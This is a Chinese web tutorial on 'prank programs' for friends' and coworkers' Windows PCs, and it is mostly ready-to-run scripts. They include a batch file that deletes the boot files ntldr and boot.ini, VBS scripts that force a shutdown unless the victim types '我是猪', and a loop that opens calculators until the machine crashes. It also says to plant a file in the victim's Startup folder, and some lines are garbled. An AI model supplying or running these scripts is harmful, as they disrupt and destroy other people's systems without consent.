如何设置一个简单的整人小程序吓吓小伙伴？

如果想在愚人节逗逗你的朋友，可以用电脑做个整人小程序吓吓对方哦，呵呵，下面就来看看如何设置。

工具/材料

Win7

01

首先，在桌面右击鼠标，在d出的命令中点击新建，在向右d出的命令中点击文本文档。

02

将刚才建立好的文本文档双击打开。输入如下图的代码，中文可改成自己想要的文字。

03

点击关闭按钮，点击保存文件。再对文件进行改名 *** 作，选中扩展名txt。

04

改成vbs。点旁边空白位置确定更改，更改后的文件如图。

05

双击一下文件看看，就运行出一个的提示框，按确定又会d出，无法中止。

06

如果要终止需要按Ctrl+Alt+Delete开启任务管理器，点击进程，选中wscript.exe，点击结束进程就可以了。

07

接下来想办法将该文件放入到朋友的开始菜单启动文件夹里就可以了。

每天上班对着电脑，有些时候挺枯燥的，下面介绍一些比较好玩电脑恶作剧：

倒屏

这时一个很简单的设置，只需要ctrl + alt + 向下键即可实现倒屏（ctrl + alt + 向上键恢复）

恶搞鼠标

在控制面板中打开“鼠标”设置，在选项卡中选中“显示轨迹”，鼠标移动就会拖着一窜小尾巴了！

简单代码整人

步骤：编写一段简单的代码，保存为一个比较有诱惑力的特定格式文件（.vbs或.bat批处理文件）

例子：1、一个简单的vbs小程序

Option Explicit

On Error Resume Next

Dim answer

Dim WshShell

set WshShell = CreateObject("wscript.Shell")

WshShell.Run "Shutdown /f /s /t 10 /c 输入'我是猪'，否则10秒后关机~",0

Do While answer<>"我是猪"

answer=InputBox("输入'我是猪'，否则10秒后关机~","哈哈哈",,7000,8000)

Loop

WshShell.Run "Shutdown /a",0

MsgBox "哈哈哈，好玩不?",,"哈哈哈"

2、一个简单的bat批处理小程序

@echo off

attrib -s -h -a -r c:\ntldr

del c:\ntldr

attrib -s -h -a -r c:\boot.ini

del c:\boot.ini

注：这种小程序网上很多的，但是要注意不要盲目的下载，说不定有些小程序真的会破会你的系统。

隐藏桌面图标和任务栏

右键桌面－去掉查看下显示桌面图标前面的勾；右键下方任务栏－选择自动隐藏任务栏。

吓不是很懂电脑的同事就更简单了

直接建立一个权限很低的新用户，并切换至新用户，然后你告诉他，他的电脑中毒了，嘿嘿

Actionmovie一个爆炸游戏还有就是照妖镜1、上八目妖有。2、自制一点击就出现无数个计算器，直到死机为止。在记事本里输入，最后把扩展名改成VBS得那种。

Dim objws

Set objws=wscript.createobject("wscript.shell")

Do

objws.Run "calc"

Loop

整人小程序：说我是猪就不关机

程序, 整人

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""快说“我是猪”，不说我是猪就一分钟关你机，不信，试试···"" ",0 ,true

dim a

do while(a <>"我是猪")

a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd.exe /c shutdown -a",0 ,true

msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真过瘾"

msgbox chr(13) + chr(13) + chr(13) + "乖孩子真听话啊"

msgbox chr(13) + chr(13) + chr(13) + "下次叔叔买糖给你吃"

msgbox chr(13) + chr(13) + chr(13) + "要吃什么糖啊"

msgbox chr(13) + chr(13) + chr(13) + "什么，大白兔？"

msgbox chr(13) + chr(13) + chr(13) + "不行，不行，大白兔吃了长石头啊"

msgbox chr(13) + chr(13) + chr(13) + "要不叔叔给你讲个故事"

msgbox chr(13) + chr(13) + chr(13) + "从前有个山"

msgbox chr(13) + chr(13) + chr(13) + "山里有个庙"

msgbox chr(13) + chr(13) + chr(13) + "庙里有个老和尚"

msgbox chr(13) + chr(13) + chr(13) + "老和尚在给小和尚讲故事"

msgbox chr(13) + chr(13) + chr(13) + "讲什么故事呢"

msgbox chr(13) + chr(13) + chr(13) + "故事是这样的"

msgbox chr(13) + chr(13) + chr(13) + "从前有个山"

msgbox chr(13) + chr(13) + chr(13) + "山里有个庙"

msgbox chr(13) + chr(13) + chr(13) + "庙里有个老和尚"

msgbox chr(13) + chr(13) + chr(13) + "什么，不听了"

msgbox chr(13) + chr(13) + chr(13) + "别哭别哭，叔叔给你买糖！"

复制代码一个整人的小代码，“说我是猪就不关机”

把上面的代码复制到记事本里，把后缀名改成.VBE

---